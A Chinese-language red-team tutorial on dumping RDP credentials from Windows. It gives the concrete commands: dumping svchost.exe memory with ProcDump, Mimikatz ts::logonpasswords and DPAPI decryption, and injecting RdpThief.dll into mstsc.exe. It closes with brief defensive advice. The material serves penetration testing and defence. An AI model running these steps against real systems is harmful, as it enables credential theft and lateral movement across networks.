转储RDP凭据
字数 986 2025-08-05 08:19:06
RDP凭据转储技术详解
1. RDP协议安全概述
远程桌面协议(RDP)是Windows环境中广泛使用的远程管理协议,但长期以来缺乏适当的安全加固和监控。从红队视角看,RDP相关进程(svchost.exe和mstsc.exe)中存储的凭据是重要的攻击目标,可导致横向移动甚至域接管。
2. 通过svchost.exe转储凭据
2.1 识别承载终端服务的svchost进程
终端服务由svchost.exe进程托管,可通过以下方法识别:
-
查询终端服务:
sc queryex termservice -
查找加载rdpcorets.dll的进程:
tasklist /M:rdpcorets.dll -
使用netstat定位:
netstat -nob | Select-String TermService -Context 1
2.2 凭据存储机制
Windows身份验证机制会将凭据以纯文本形式存储在svchost进程内存中,密码通常显示在用户名下方。
2.3 内存转储与分析
-
使用ProcDump转储内存:
procdump64.exe -ma <PID> -accepteula C:\Users\pentestlab -
离线分析转储文件:
strings -el svchost* | grep <Password> -C3 -
使用Mimikatz直接提取:
privilege::debug ts::logonpasswords
3. 通过mstsc.exe获取凭据
3.1 API Hooking技术
RdpThief工具通过hook以下函数拦截凭据:
- CredIsMarshaledCredentialW
- CryptProtectMemory
3.2 使用RdpThief
-
注入DLL:
SimpleInjector.exe mstsc.exe RdpThief.dll -
凭据存储位置:
捕获的凭据会写入C:\temp目录下的文件中
3.3 SharpRDPThief改进版
使用IPC Server接收凭据,解决了原工具要求进程必须存在的限制。
4. 从RDP连接文件提取凭据
4.1 凭据存储位置
Windows凭据管理器存储的RDP连接信息位于:
C:\Users\<username>\AppData\Local\Microsoft\Credentials
4.2 使用Mimikatz解密
-
获取主密钥:
sekurlsa::dpapi -
解密凭据:
dpapi::cred /in:<credential_file> /masterkey:<master_key> -
查看凭据所属服务器:
vault::list
5. 防御建议
- 监控对svchost.exe和mstsc.exe进程的内存访问
- 限制对Credentials目录的访问
- 实施EDR解决方案检测API hooking行为
- 定期轮换凭据
- 启用多因素认证